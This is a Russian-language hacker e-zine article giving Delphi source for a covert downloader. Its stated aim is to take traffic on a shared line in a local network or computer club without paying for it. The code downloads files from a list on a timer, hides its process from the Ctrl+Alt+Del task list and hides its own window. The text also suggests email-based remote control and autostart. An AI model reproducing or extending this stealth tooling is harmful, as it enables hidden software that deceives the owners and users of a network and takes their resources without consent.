#                          #  #           
 ######### #    #  ######### #########      #  #       #   
 #       #  #  #   #       # #       #    ########   ###   
 #           ##    #         #              #  #       #   
 #######     ##    #######   #              #  #       #   
 #       #  #  #   #       # #       #    ########     #   
 ######### #    #  ######### #########      #  #    #######
                                            #  #           
                                             

---== [EXEC] electronic magazine about hack sercurity coding & ru hack scene ==--- 
# Get_Shadow или Скрытая загрузка.

Представим такую ситуацию когда скажем у вас в локалке или комп. клубе, есть выделенка. Так вот всё там конечно течет по траффику и никому нехочеться платить за скачанные мега, а у кого-то и гигабайты. Поведую вам об одном замечательном программном решении этого вопроса. Писать будем на дельфи чтобы по проще и побыстрее. Вот код функции получения файла с сервера на хард к себе.

>----------------------резать тут-------------------------------

uses WinInet

.......
function GetInetFile(const fileURL, FileName: string): boolean;
const
  BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: DWORD;
  f: file;
  sAppName: string;
begin
  //Result := False;
  sAppName := ExtractFileName(Application.ExeName);
  hSession := InternetOpen(PChar(sAppName),
  INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
    hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0);
    try
      AssignFile(f, FileName);
      Rewrite(f,1);
      repeat
        InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
        BlockWrite(f, Buffer, BufferLen);
      until
        BufferLen = 0;
      CloseFile(f);
      Result := True;
    finally
      InternetCloseHandle(hURL);
    end;
  finally
    InternetCloseHandle(hSession);
  end;
end;

>----------------------резать тут-------------------------------
Как видно этой функции передаётся два параметра это удалённый путь и локальный путь. Исполльзование будет выглядеть вот так: GetInetFile('http://execteam.org.ru/archiv.rar','C:\archive.rar'); Следушим будет процедура обработки таймера. Тут можно и покоментировать )).
>----------------------резать тут-------------------------------

procedure TForm1.Timer1Timer(Sender: TObject);
var
f:textfile;
cur,url,lf:string;
begin

assignfile(f,'getx.lst'); //Присваиваем переменной f файл getx.lst
reset(f); // Открываем его для чтения

while not eof(f) do // Пока небудет конца файла f делаем :)
begin
readln(f,cur); // читаем строку
if cur='stop' then //если строка стоп 
    begin
        memo1.Lines.Add('stopped');
        timer1.Enabled:=false; // тогда остановливаем таймер
    end;

if cur<>'stop' then // Если строка неравна stop тогда
    begin
    url:=copy(cur,1,pos(' ',cur)); // вырезаем из строки url
    lf:=copy(cur,pos(' ',cur)+1,length(cur)); // вырезаем локальный путь
    memo1.Lines.Add(url + lf);// это для отладки
    getinetfile(url,lf); // и сливаем файл 
    end;
end;
closefile(f);
end;

>----------------------резать тут-------------------------------
Файл getx.lst выполняет роль листа ссылок для загрузки. Memo добавлен на форму для отладки.Теперь нужно сделать всё это добро скрытным и непривлекающим внимания. Всё тоже очень несложно. Берем функцию из KERNEL.DLL. После implementation пишем: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; После чего в процедуре OnFormCreate пишем следущее: RegisterServiceProcess(GetCurrentProcessID, 1); Таким образом мы зарегестрировали процесс как сервис и он небудет виден в меню CTRL+ALT+DELETE. Теперь нужно сделать невидимой саму форму для этого воспользуемся следущим кодом.
>-------------project1.dpr-------------------
program Project1;

uses
  Forms,Windows,
  Unit1 in 'Unit1.pas' ;
{$R *.RES}
 var
 WhEvent:THandle;
begin
  Application.Initialize;
 ShowWindow(Application.Handle,SW_Hide);
  Form1:=TForm1.Create(nil);
  Application.Run;
    WhEvent:=CreateEvent(nil, true,false, 'xt');
  while (true) do
   begin
    WaitForSingleObject(WhEvent,1000);
    Application.ProcessMessages;
   end;
end.
>-------------project1.dpr-------------------
Вот и всё небольшой каркас для проги готов. При желании можно сделать управление через мыло. немного поясню: Просто отправляешь файл с ссылками на определённле мыло, а программа проверяет его и сливает новые файлы.Добавить в автозагрузку я думаю несоставит труда. Ещё нужно в процедуре OnTimer проводить проверку соединения с интеренетом. Вот и всё теперь мы имеем очень простую программу для скрытого скачивания но в ней полно недочётов и ошибок. Всё это придёться исправлять вам, - ИБО НЕФИГ.

+ Содержание +